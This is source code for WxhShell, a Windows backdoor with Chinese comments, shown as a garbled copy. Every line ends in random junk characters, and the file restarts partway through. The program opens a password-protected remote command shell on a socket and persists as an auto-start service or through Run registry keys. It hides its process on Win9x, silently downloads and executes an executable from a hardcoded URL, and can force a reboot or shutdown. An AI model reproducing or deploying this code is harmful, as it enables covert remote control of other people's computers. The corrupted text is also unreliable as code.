    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )4C6+63OD&  
    else { - C]a2  
    closesocket(wsh); ~#Mx&mZ  
    ExitThread(0); U~c;W@T  
    } M)RQIl5  
    break; Q2PwO;E.`C  
    } S}I=i>QB  
  // 获取shell hS/'b$#  
  case 's': { !~kzxY  
    CmdShell(wsh); g0$k_  
    closesocket(wsh); f@g  
    ExitThread(0); n#,l&Bx  
    break; CplRnKra  
  } CR=MjmH  
  // 退出 %P6!vx:&^b  
  case 'x': { pZn%g]nRD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _ h-X-s Y  
    CloseIt(wsh); HK.J/Zr  
    break; H!=BjU1Pmg  
    } jg/<"/E  
  // 离开 .k(_ j.v  
  case 'q': { md s\~l73  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `v er "s;  
    closesocket(wsh); ?5gpk1  
    WSACleanup(); EF~PM  
    exit(1); pdu  
    break; ' qVa/GJ  
        } Xqw7lj;K  
  } 1r4/McB  
  } tYa*%|!v  
I-hhHm<@  
  // 提示信息 H|O}Dsj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Yr$dNe  
} hdb4E|'A  
  } ?^Ux+mVE  
U0T N8O}Z  
  return; R:p,Hav<q  
} 7mBL#T2   
>4b39/BM  
// shell模块句柄 z5/O8}Gz@  
int CmdShell(SOCKET sock) JR)rp3o-  
{ %W+ F e,]  
STARTUPINFO si; CB1u_E_  
ZeroMemory(&si,sizeof(si)); &o.SmkJI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B/}>UHM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9\2&6H  
PROCESS_INFORMATION ProcessInfo; JH#?}L/0Fe  
char cmdline[]="cmd"; !}7m^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a QFHB!  
  return 0;  p-kqX  
} -GjJrYOU  
S\(_"xJPp  
// 自身启动模式 N|}`p"  
int StartFromService(void) r1] e:  
{ @xE Q<g  
typedef struct J>35q'nN]F  
{ T(DE^E@a  
  DWORD ExitStatus; 7a net  
  DWORD PebBaseAddress; w (1a{m?ht  
  DWORD AffinityMask; >d\I*"C+d  
  DWORD BasePriority; <rs]@J'p  
  ULONG UniqueProcessId; ks$G6WC  
  ULONG InheritedFromUniqueProcessId; P $S P4F  
}   PROCESS_BASIC_INFORMATION; IF1}}[Ht  
"N_?yA#(j  
PROCNTQSIP NtQueryInformationProcess; tAUMSr|?  
nc)`ISI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H_^c K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7O#>N}|  
R2@u[  
  HANDLE             hProcess; a6_`V;  
  PROCESS_BASIC_INFORMATION pbi; ' iK0Wr  
uip]K{/A!e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rg\w!L(  
  if(NULL == hInst ) return 0; =UY@,*q:c  
`0F IJT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yM@cml6Ox  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1wt]J!hgV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X*Zv,Wm  
$)!Z"2T  
  if (!NtQueryInformationProcess) return 0; r^)<Jy0|r  
=B1!em|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); clNP9{  
  if(!hProcess) return 0; tP-c>|cz  
3$54*J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ; ]!  
|1o]d$3m  
  CloseHandle(hProcess); 8z"Yo7no  
[@;Z xs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c/RG1w  
if(hProcess==NULL) return 0; 5Mr:(|JyV  
Y|F);XXIl  
HMODULE hMod; rH,N.H#]  
char procName[255]; , utFCZW  
unsigned long cbNeeded; 4p.O<f;A8  
G)Y!aX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _[W=1bGJ  
:nI.Qa'"H  
  CloseHandle(hProcess); )<d8yLb  
S5JnJkNn  
if(strstr(procName,"services")) return 1; // 以服务启动 K9R[ oB]b  
bu- RU(%  
  return 0; // 注册表启动 mwxJ#  
} 5|Qr"c$p  
xlAaIo)T  
// 主模块 c1[;a>  
int StartWxhshell(LPSTR lpCmdLine) SW7%SX,xM  
{ .kVga+la?  
  SOCKET wsl; ?9:\1)]  
BOOL val=TRUE; ?jbam! A  
  int port=0; @u^Ib33  
  struct sockaddr_in door; UWHC]V?  
Hg4Ut/0  
  if(wscfg.ws_autoins) Install(); @)B_e*6>'  
W3b\LnUa  
port=atoi(lpCmdLine);  f$3  
y4') !e  
if(port<=0) port=wscfg.ws_port; IWkBq]Y  
e(Ve rd:c  
  WSADATA data; vjpe'zx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l< Y x  
~$`b{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A.[T#ZB.4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =LRUasF  
  door.sin_family = AF_INET; {q^KlSjm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DQSv'!KFO  
  door.sin_port = htons(port); ee0J;pP2#  
/bWV `*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Rd2[xk  
closesocket(wsl); (<12&=WxE  
return 1; wZ^/-  
} [kCn6\_<V  
J [1GP_  
  if(listen(wsl,2) == INVALID_SOCKET) { x;+,lP  
closesocket(wsl); (H$eXW7  
return 1; \ys3&<;b  
} rO NLbrj  
  Wxhshell(wsl); Hl#o& *Ui"  
  WSACleanup(); 3]'3{@{} H  
#r1x0s40D  
return 0; gU`QW_{  
9} vWTt0  
} q9OIw1xQr*  
` F)Iv:;y,  
// 以NT服务方式启动 [f'7/w+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =Zj9F1E[i  
{ wdg[pt />  
DWORD   status = 0; Th8xh=F[  
  DWORD   specificError = 0xfffffff; ;RU)Q)a)  
_Qv4;a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )YZ41K5N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1xw},y6T2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z1Ms ~tch  
  serviceStatus.dwWin32ExitCode     = 0; :!%oQQO  
  serviceStatus.dwServiceSpecificExitCode = 0; X **w RF  
  serviceStatus.dwCheckPoint       = 0; R{T4AZ@,'  
  serviceStatus.dwWaitHint       = 0; T/H*Bo *=5  
.m<-)Kx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BjA|H  
  if (hServiceStatusHandle==0) return; !%Ak15o  
W?@ ;(k  
status = GetLastError(); 7l?=$q>k"  
  if (status!=NO_ERROR) k=LY 6  
{ b`^$2RM&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +G?3j,a\  
    serviceStatus.dwCheckPoint       = 0; )T>a|.  
    serviceStatus.dwWaitHint       = 0; eN/Jb;W  
    serviceStatus.dwWin32ExitCode     = status; @-hy:th#  
    serviceStatus.dwServiceSpecificExitCode = specificError; r@_;L>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8'zwy d3  
    return; c6e?)(V>  
  } X3nwA#If1  
lU\|F5O@#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A) qOJ(OEz  
  serviceStatus.dwCheckPoint       = 0; u", [ulP  
  serviceStatus.dwWaitHint       = 0; &P\T{d2"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9Vp$A$7M  
} }>grGr%oR  
U8moVj8w1  
// 处理NT服务事件,比如:启动、停止 `aCcTs7~]p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q[}mH: w  
{ =14pEe  
switch(fdwControl) \\[P^ tsF  
{ Ar|_UV>Zf  
case SERVICE_CONTROL_STOP: Wjj'yqBO^  
  serviceStatus.dwWin32ExitCode = 0; y_\d[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *QrTZ$\C  
  serviceStatus.dwCheckPoint   = 0; Ngg (<ZN  
  serviceStatus.dwWaitHint     = 0; Cu0/TeEM  
  { hRME;/r]X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }@x0@sI9  
  } o<x2,uT  
  return; RNm/&F1C$  
case SERVICE_CONTROL_PAUSE: _Wgg=A"G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jML}{>Gy8S  
  break; ?A]:`l_"  
case SERVICE_CONTROL_CONTINUE:  6CCM7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I+}h+[W  
  break; hGPjH=^EM  
case SERVICE_CONTROL_INTERROGATE: S:Hg =|R  
  break; 9X!OQxmg  
}; $PNR?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wt_@ vs@.O  
} `TAhW  
eQMY3/#  
// 标准应用程序主函数 W4Zi?@L>'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /H}83 C  
{ ?:UDK?  
vRm;H|[%S  
// 获取操作系统版本 `2GHB@S"k  
OsIsNt=GetOsVer(); 2 &R-z G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;hRo} +\l  
[IiwpC  
  // 从命令行安装 b8>r UGA{  
  if(strpbrk(lpCmdLine,"iI")) Install(); *ozeoX'5D  
ZVeY`o(uE  
  // 下载执行文件 4SmhtC  
if(wscfg.ws_downexe) { C]{43  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YrA#NTB_o  
  WinExec(wscfg.ws_filenam,SW_HIDE); >i=mw5`D]  
} |',MgA  
yY8q{\G  
if(!OsIsNt) { ~Q5L)}8N  
// 如果时win9x,隐藏进程并且设置为注册表启动 xqIt?v2c  
HideProc();  $ l Y  
StartWxhshell(lpCmdLine); a:1-n %&F  
} o ;.j_  
else $n!saPpxS  
  if(StartFromService()) `j@2[XdHu  
  // 以服务方式启动 `ez_ {  
  StartServiceCtrlDispatcher(DispatchTable); 1H%LUA  
else c_+}`  
  // 普通方式启动 vWwp'q  
  StartWxhshell(lpCmdLine); EZao\,t  
.#P'NF(5#  
return 0; *uNa( yd  
} S$ dFz  
W$  M4#  
 #\Lt0  
sFMSH :5z  
=========================================== Wcw$ Zv  
/qEoiL###  
A@+pvC&  
.X TBy/(0  
~gmj /PQ0  
:,% vAI  
" <t&0[l  
Q % )fuI  
#include <stdio.h> dFK/  
#include <string.h> RoT}L#!!  
#include <windows.h> N =)9O  
#include <winsock2.h> 89@gYA"Su  
#include <winsvc.h> YqrieDFay!  
#include <urlmon.h> 3Jf_3c  
d A[I  
#pragma comment (lib, "Ws2_32.lib") hgLwxJu  
#pragma comment (lib, "urlmon.lib") W/L~&.'  
V'^Hn?1^  
#define MAX_USER   100 // 最大客户端连接数 D!+d]A[r  
#define BUF_SOCK   200 // sock buffer .sgP3Ah  
#define KEY_BUFF   255 // 输入 buffer .e~17}Ka}  
`~F=  
#define REBOOT     0   // 重启 GBVw6+(c  
#define SHUTDOWN   1   // 关机 rgJKXl;@s  
]^$3S  
#define DEF_PORT   5000 // 监听端口 3a_~18W  
ZG"_M@S.  
#define REG_LEN     16   // 注册表键长度 5L'X3g  
#define SVC_LEN     80   // NT服务名长度 t3 2 FNg  
.k|8nNj  
// 从dll定义API ?zM]p"M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xp.~i*!`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3{O^q/R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FIDV5Y/f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >$j?2,Za(V  
.Ce30VE-  
// wxhshell配置信息 K1Snag  
struct WSCFG { Tq,Kel  
  int ws_port;         // 监听端口 j|c  
  char ws_passstr[REG_LEN]; // 口令 yyW;VKN  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9(V12gn+lk  
  char ws_regname[REG_LEN]; // 注册表键名 wsYvbI!  
  char ws_svcname[REG_LEN]; // 服务名 Mj|\LF +  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Lk9X>`b#B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hRHqG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e3oHe1"hP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Bf1,(^3XH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" % \IB_M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4}E|CD/pZ  
2+ m%f"  
}; F<39eDNpz  
-|YG**i/  
// default Wxhshell configuration )!z<q}i5  
struct WSCFG wscfg={DEF_PORT, n** W  
    "xuhuanlingzhe", [T<nTB# w  
    1, f~ kz=R=  
    "Wxhshell", F9IrbLS9c  
    "Wxhshell", 7u73v+9qn:  
            "WxhShell Service", |WwC@3)  
    "Wrsky Windows CmdShell Service", E">FH >8K}  
    "Please Input Your Password: ", lA>^k;+>  
  1, Y@B0.5U2  
  "http://www.wrsky.com/wxhshell.exe", R~ n[g  
  "Wxhshell.exe" P'MfuTtT&  
    }; ]-]K4*{   
f9ux+XQk9  
// 消息定义模块 k+b!Lw!L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jwhc;y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jMr[ UZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /vO8s??  
char *msg_ws_ext="\n\rExit."; =z#6mSx|W  
char *msg_ws_end="\n\rQuit."; i[_B~/_  
char *msg_ws_boot="\n\rReboot..."; '-c *S]:r  
char *msg_ws_poff="\n\rShutdown..."; tqbYrF)  
char *msg_ws_down="\n\rSave to "; -|V1A[  
ZEa31[@B[  
char *msg_ws_err="\n\rErr!"; @ >_v/U'  
char *msg_ws_ok="\n\rOK!"; p?rh+0wgX  
|iSd<  
char ExeFile[MAX_PATH]; Z$jqB~=^e  
int nUser = 0; ]t0]fb[J  
HANDLE handles[MAX_USER]; o?5m^S14[1  
int OsIsNt; W'lejOiw  
~j3O0s<gK  
SERVICE_STATUS       serviceStatus; _[F(8Q x"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;\a?xtIy  
R `K1L!`3  
// 函数声明 cH>@ZFTF  
int Install(void); [>--U)/  
int Uninstall(void); o rBB5JJ  
int DownloadFile(char *sURL, SOCKET wsh); [QUaC3l)  
int Boot(int flag); k6eh$*!  
void HideProc(void); [~_)]"pU  
int GetOsVer(void); .Nk'yow  
int Wxhshell(SOCKET wsl); 7]sRHX0o%  
void TalkWithClient(void *cs); JX!z,X?r4  
int CmdShell(SOCKET sock); &FrUj>i  
int StartFromService(void); }Um,wY[tK  
int StartWxhshell(LPSTR lpCmdLine); gI~B _0x  
R|D%1@i]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *{y({J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (:er~Y}  
lC.Q61J@  
// 数据结构和表定义 dbga >j  
SERVICE_TABLE_ENTRY DispatchTable[] = xB4}9zN s  
{ <8)cr0~zy>  
{wscfg.ws_svcname, NTServiceMain}, Rp^fY_  
{NULL, NULL} V_\9t8  
}; POXd,ON9  
pSa pF)1>  
// 自我安装 A4{14Y;?  
int Install(void) okm }%#|  
{ -XASS%  
  char svExeFile[MAX_PATH]; !#y_vz9  
  HKEY key; iH a:6  
  strcpy(svExeFile,ExeFile); !(gMr1}w  
Phq"A[4=O  
// 如果是win9x系统,修改注册表设为自启动 DyPHQ}G  
if(!OsIsNt) { GBYeiEgZh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :MaP58dhh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,tTq25~H\  
  RegCloseKey(key); Efp[K}Z^$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q!;u4J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )&6ZgRq  
  RegCloseKey(key); o' EJ,8  
  return 0; i2P:I A|@  
    } TI/5'Oke$  
  } ~Z`Cu~7  
} +7 \"^D  
else {  L}=DC =E  
I|x? K>  
// 如果是NT以上系统,安装为系统服务 $sxRRe m{?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9 1.gE*D  
if (schSCManager!=0) &M>o  
{ vc%=V^)N7U  
  SC_HANDLE schService = CreateService gp+aUK~o  
  ( b^:frjaE3  
  schSCManager, ^]5^p9Jt"e  
  wscfg.ws_svcname, k3+LP7|*  
  wscfg.ws_svcdisp, 0gRm LX  
  SERVICE_ALL_ACCESS, 3ncN) E/@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;e)`C v  
  SERVICE_AUTO_START, ;RK;kdZ  
  SERVICE_ERROR_NORMAL, &j}:8Tst  
  svExeFile, BaVooN~C  
  NULL, =28ZSo^  
  NULL, 9^+E$V1@  
  NULL, ^ 0.`1$  
  NULL, xs6kr  
  NULL eC3 ~|G_O  
  ); 'iWDYZ?  
  if (schService!=0) 8kLHQ0pmu  
  { QXu[<V  
  CloseServiceHandle(schService); !$NQF/Ol  
  CloseServiceHandle(schSCManager); WJJmM*>JW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z'UhJuD5  
  strcat(svExeFile,wscfg.ws_svcname); }Uu#N H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hnimd~E52k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g43(N!@g  
  RegCloseKey(key); +'/C(5y)0X  
  return 0; ~ <36vsk  
    } I@oSRB  
  } WF_ v>g:g  
  CloseServiceHandle(schSCManager); p`2Q6  
} 11vAx9  
} EQtYb"_  
5?Ukf$)x  
return 1; oj/#wF+  
} I5@8=rFk  
K&VMhMVb  
// 自我卸载 r=HL!XFk  
int Uninstall(void) bU\T  
{ G<-<>)zO!  
  HKEY key; Hqtv`3g  
)(9[>_+40  
if(!OsIsNt) { Ft^X[5G4L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jcy+(7lE)  
  RegDeleteValue(key,wscfg.ws_regname);  p9 G{Q  
  RegCloseKey(key); 7|xu)zYB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1N[9\Yi  
  RegDeleteValue(key,wscfg.ws_regname); ?AO22N|j  
  RegCloseKey(key); K$l@0r ~k  
  return 0; j}O qWX>/  
  } ]N2! 'c  
} D*>#]0X  
} &hUEOif  
else { U[?f@.&  
$>7T s>8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )5NWUuH 5  
if (schSCManager!=0) ik](k"1{  
{ f/QwXO-U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^T#jBqe  
  if (schService!=0) _pmo 6O  
  { :uJHFF xg  
  if(DeleteService(schService)!=0) { 9}_'  
  CloseServiceHandle(schService); i;atYltEJ2  
  CloseServiceHandle(schSCManager); &e78xtA{  
  return 0; X~cdM1z?  
  } cm0$v8  
  CloseServiceHandle(schService); @+0dgkJ  
  }  Cmp5or6d  
  CloseServiceHandle(schSCManager); (_]!}N  
} ;b (ww{&  
} +|x{?%.O  
xs&xcR R"  
return 1; q6ZewuV.  
} (I`lv=R"j  
`v-O 4Pk  
// 从指定url下载文件 *\@RBJGF  
int DownloadFile(char *sURL, SOCKET wsh) a`8]TD  
{ &Yo|Pj  
  HRESULT hr; FJ^\K+;  
char seps[]= "/"; +f%"O?  
char *token; UM`{V5NG#  
char *file; *$5p,m6G  
char myURL[MAX_PATH]; /+*N.D'`t,  
char myFILE[MAX_PATH]; r\cY R}v  
1]9w9! j  
strcpy(myURL,sURL); eY-h<K)y  
  token=strtok(myURL,seps); R={#V8D~  
  while(token!=NULL) 6$0<&')Yb  
  { OwEu S#-  
    file=token; <5^m`F5  
  token=strtok(NULL,seps); PD^G$LT  
  } Y9gw ('\w  
jABFdNjri  
GetCurrentDirectory(MAX_PATH,myFILE); 4AKr.a0q  
strcat(myFILE, "\\"); =j{tFxJ  
strcat(myFILE, file); 4l{$dtKbI  
  send(wsh,myFILE,strlen(myFILE),0); 93Zij<bH?e  
send(wsh,"...",3,0); =@pD>h/~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c%WO#}r|  
  if(hr==S_OK) xXc>YTK'  
return 0; ?68~g<d,  
else icX4n  
return 1; c1r+?q$f  
m)LI| v  
} jO/cdLKX(  
^_i)XdPU  
// 系统电源模块 b;{"@b,Y  
int Boot(int flag) Zk/ejhy0  
{ s7HKgj  
  HANDLE hToken; C/QmtT~`e  
  TOKEN_PRIVILEGES tkp; q)f_!N  
Bz <I7h  
  if(OsIsNt) { )0/*j]Kf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mE5{)<N:C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iE}] E  
    tkp.PrivilegeCount = 1; L N Fe7<y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j"'a5;Sy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a5R. \a<q  
if(flag==REBOOT) { M PDRMGR@i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <R+?>kz6  
  return 0; l S3LX  
} L"/ ?[B":  
else { )bR0 >3/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BWvM~no  
  return 0; x.Egl4b3  
} %)r:!R~R  
  } J <;xkT1x  
  else { iCA-X\E  
if(flag==REBOOT) { N$=9R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 39hep8+  
  return 0; ^N[ Cip}8  
} LT Pr8^  
else { $,J}w%A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,(a~vqNQW3  
  return 0; ]{q=9DczG(  
} Nf<f}`  
} Lui6;NY  
Q(cLi:)X2  
return 1; e@ D}/1~=  
} mI!iSVqr  
deArH5&!  
// win9x进程隐藏模块 rdd-W>+  
void HideProc(void) ~nhO*bs}7{  
{ j~1K(=Ng  
}<X*:%#b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?P-O4  
  if ( hKernel != NULL ) e"wz b< b  
  { <" nWGF4d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b r Iz8]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l?2  
    FreeLibrary(hKernel); i+qg*o$  
  } ;4ybkOD  
bL`\l!qQx;  
return; Exqz$'(W9  
} dQ7iieT  
wM4{\  f\  
// 获取操作系统版本 |'1.a jxw  
int GetOsVer(void) Jz>P[LcB  
{ .%{B=_7  
  OSVERSIONINFO winfo; 4K'U}W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g_IcF><F  
  GetVersionEx(&winfo); .:f ao'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?8{Os;!je  
  return 1; x'|9A?ez@Z  
  else Jk-WD"J6  
  return 0; 0RtZTCGO  
} )I3E  
>;1w-n  
// 客户端句柄模块 pP1DR'  
int Wxhshell(SOCKET wsl) HEbL'fw^s  
{ >!@D^3PPA  
  SOCKET wsh; p<H_]|7$7U  
  struct sockaddr_in client; 1t^y?<)  
  DWORD myID; oA[`| ji  
:0Jn`Ds4o  
  while(nUser<MAX_USER) gk6R#  
{ X4 S| JT  
  int nSize=sizeof(client); \Db;7wh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eu"m0Q  
  if(wsh==INVALID_SOCKET) return 1; oNe:<YT  
iB(?}SaAZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w-ald?`  
if(handles[nUser]==0) fcEm :jEZ*  
  closesocket(wsh); &WBpd}|+Y  
else 2<5LQr  
  nUser++; G gA:;f46  
  } X!LiekU!D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fsPNxy"_  
EBW*v '  
  return 0; L!l?tM o  
} o.NU"$\?  
&4|]VOf  
// 关闭 socket hG.}>(VV  
void CloseIt(SOCKET wsh) <Tjhj *  
{ ] 9C)F*r7  
closesocket(wsh); zA6C{L G3  
nUser--; z+;$cfN  
ExitThread(0); }wn|2K'  
} ?m2FN< S  
nw- -  
// 客户端请求句柄 4cSs=|m?+  
void TalkWithClient(void *cs) !PGCoI  
{ { CR`~)v&  
,"`3N2!Y}  
  SOCKET wsh=(SOCKET)cs; \mGb|aF8  
  char pwd[SVC_LEN]; Cj3Xp~  
  char cmd[KEY_BUFF]; 9 c9$cnQ  
char chr[1]; _ps4-<ugC  
int i,j; Zy3F%]V0  
`Zo5!"'  
  while (nUser < MAX_USER) { ~FYC'd  
*!y04'p`<  
if(wscfg.ws_passstr) { c^1JSGv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OfBWf6b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aC1 xt(  
  //ZeroMemory(pwd,KEY_BUFF); 89D`!`Ah]  
      i=0; M5+R8ttc  
  while(i<SVC_LEN) { =/|GWQ j  
=Xr{ Dg  
  // 设置超时 hlV(jz  
  fd_set FdRead; p+b9D  
  struct timeval TimeOut; ~I> |f  
  FD_ZERO(&FdRead); /_cpS q  
  FD_SET(wsh,&FdRead); 2& Hl wpx  
  TimeOut.tv_sec=8; 6zU0 8z0-  
  TimeOut.tv_usec=0; rtvLLOIO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~l'[P=R+8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Et*LbU  
"7+^`?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dfVI*5[Z  
  pwd=chr[0]; ( zm!_~1  
  if(chr[0]==0xd || chr[0]==0xa) { V4"o.G3\o  
  pwd=0; st"@kHQ3  
  break; :%mls Nw  
  } 7YTO{E6]d\  
  i++; TTj] _R{n  
    } ._x"b5C  
: c iwh  
  // 如果是非法用户,关闭 socket 5?>Q[a.Ne  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "N%W5[C{  
} j^ 8Hjg  
7SkW!5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,:}VbQ:3I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); md{1Jn"  
7 8xiT  
while(1) { 6@^ ?dQ  
u];\v%b  
  ZeroMemory(cmd,KEY_BUFF); QrmGrRH  
L)|hjpQ  
      // 自动支持客户端 telnet标准   FN sSJU3ld  
  j=0; U/U_q-z]  
  while(j<KEY_BUFF) { olo9YrHn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /8_x]Es/  
  cmd[j]=chr[0]; A;C4>U Y  
  if(chr[0]==0xa || chr[0]==0xd) { O[1Q#  
  cmd[j]=0; , 82?kky  
  break; 2-g 5Gb2|  
  } d<\X)-"  
  j++; +BI%. A`2  
    } 'SG<F,[3  
-t`KCf,0  
  // 下载文件 |1OF!(:  
  if(strstr(cmd,"http://")) { PR7bu%Y*eD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p'/%"  
  if(DownloadFile(cmd,wsh)) t2.]v><  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {|zQ .s A  
  else q}JP;p(#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0_>1CW+X  
  } yq[CA`zVN  
  else { JKYl  
R^ I4_ZA  
    switch(cmd[0]) { ]Ah<kq2sk  
  &s.-p_4w^D  
  // 帮助 0[Zs8oRiI  
